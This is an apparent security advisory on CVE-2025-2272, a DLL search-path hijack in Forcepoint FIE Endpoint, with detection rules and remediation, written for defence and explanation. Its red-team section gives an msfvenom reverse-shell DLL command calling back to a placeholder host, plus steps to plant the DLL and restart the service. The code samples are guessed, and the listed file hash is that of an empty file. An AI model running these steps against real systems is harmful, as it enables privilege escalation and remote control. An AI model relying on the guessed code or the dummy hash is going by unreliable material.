CVE-2025-2272

Executive Summary

CVE-2025-2272 is a high-severity Uncontrolled Search Path Element vulnerability in Forcepoint FIE Endpoint. This flaw allows a local attacker to perform privilege escalation, code injection, and hijacking of a privileged process by manipulating the search path used by the application. The vulnerability affects all versions of FIE Endpoint before 25.05. With a CVSS score of 7.0, it poses a significant risk to endpoint security, enabling an attacker with low privileges to gain full control over the system. No public proof-of-concept (PoC) or exploit code is currently available, but the risk of weaponization remains high due to the nature of the vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 7.0 (High)
• Attack Vector: Local (AV:L)
• Attack Complexity: High (AC:H)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability requires local access but can be exploited without user interaction, making it a prime target for post-exploitation activities and lateral movement within a compromised network.

Deep Dive & Mechanics

The vulnerability is rooted in an uncontrolled search path element (CWE-427). Forcepoint FIE Endpoint, when loading dynamic link libraries (DLLs) or other executable resources, does not securely validate the search path. An attacker with low privileges can place a malicious DLL or executable in a directory that is searched before the legitimate system or application directory. When the privileged FIE Endpoint process loads the resource, it inadvertently loads the attacker's malicious payload, leading to code execution in the context of the privileged process.

Attack Scenario:

1. An attacker gains initial access to a system (e.g., via phishing or exploiting another vulnerability).
2. The attacker identifies a directory writable by their low-privileged user that is in the search path of the FIE Endpoint service.
3. The attacker places a malicious DLL (e.g., version.dll or dbghelp.dll) in that directory.
4. When the FIE Endpoint service starts or performs a specific operation, it loads the malicious DLL instead of the legitimate one.
5. The malicious DLL executes with the privileges of the FIE Endpoint service (often SYSTEM), allowing the attacker to escalate privileges, inject code, or hijack the process.

Vulnerable vs. Patched Code

Vulnerable Code (before 25.05): The application likely uses a function like LoadLibrary or CreateProcess without specifying a full path, relying on the system's default search order. For example:

// Vulnerable: Uses relative path or relies on search order
HMODULE hMod = LoadLibrary(L"helper.dll");

Patched Code (25.05 and later): The patched version uses absolute paths or calls SetDllDirectory to remove the current working directory from the search order. For example:

// Patched: Uses absolute path
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Forcepoint\\FIE\\helper.dll");
// Or removes unsafe paths from search order
SetDllDirectory(L"");

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system running Forcepoint FIE Endpoint < 25.05.
• Ability to write to a directory in the search path (e.g., C:\Users\<username>\AppData\Local\Temp or the application's install directory if writable).

Exploitation Steps:

1. Identify a writable directory that is in the search path of the FIE Endpoint service. Use Process Monitor (Procmon) to observe which directories are searched when the service loads a DLL.
2. Create a malicious DLL that executes a payload (e.g., reverse shell, add user to Administrators group).
3. Place the malicious DLL in the identified directory with the same name as a DLL that the FIE Endpoint service loads (e.g., version.dll).
4. Trigger the FIE Endpoint service to load the DLL (e.g., restart the service or perform a specific action).
5. The malicious DLL executes with SYSTEM privileges.

Example Malicious DLL Code (using msfvenom):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll

Placement and Trigger:

copy malicious.dll C:\Users\Public\version.dll
# Trigger the service
sc stop FIE
sc start FIE

Blue Team

Detection Steps:

1. Monitor for unusual DLL load events from non-standard directories using Sysmon Event ID 7 (Image loaded).
2. Look for processes spawning from FIE.exe that load DLLs from user-writable paths.
3. Use AppLocker or Windows Defender Application Control (WDAC) to block DLLs from untrusted locations.
4. Enable Safe DLL Search Mode via registry: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode set to 1.

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName in~ ("version.dll", "dbghelp.dll", "wintrust.dll")
| where FolderPath startswith "C:\\Users\\"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – replace with actual hashes if discovered)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • FIE.exe loading DLLs from C:\Users\*\AppData\Local\Temp\ or C:\Users\Public\
• Registry Changes:
  • Modification to HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
• Network Connections:
  • Outbound connections from FIE.exe to unknown IPs on high ports (e.g., 4444, 1337)

Detection Engineering

YARA Rule

rule CVE_2025_2272_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Forcepoint FIE Endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2272"
    strings:
        $s1 = "version.dll" nocase
        $s2 = "dbghelp.dll" nocase
        $s3 = "wintrust.dll" nocase
        $s4 = "FIE.exe" nocase
    condition:
        (uint16(0) == 0x5A4D) and (any of ($s1, $s2, $s3)) and ($s4)
}

Sigma Rule

title: Forcepoint FIE Endpoint DLL Hijacking Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects DLL load events from user-writable directories by FIE.exe
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    category: image_load
detection:
    selection:
        Image|endswith: '\FIE.exe'
        ImageLoaded|contains:
            - 'C:\Users\'
            - 'C:\ProgramData\'
            - 'C:\Windows\Temp\'
    condition: selection
falsepositives:
    - Legitimate software updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HIGH_PORTS (msg:"CVE-2025-2272 - Potential FIE Endpoint DLL Hijack Outbound"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Forcepoint FIE Endpoint to version 25.05 or later immediately.
2. Workaround: If patching is not possible, configure the application to use absolute paths for all DLL loads. This may require a configuration change or registry modification.
3. Restrict Permissions: Remove write permissions from user-writable directories for the FIE Endpoint service account.
4. Enable Safe DLL Search Mode: Set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.

Long-Term Measures:

• Implement application whitelisting (e.g., AppLocker) to block unauthorized DLLs.
• Regularly audit and monitor DLL load events using Sysmon or EDR solutions.
• Conduct penetration testing to identify similar vulnerabilities in other applications.

Valters IT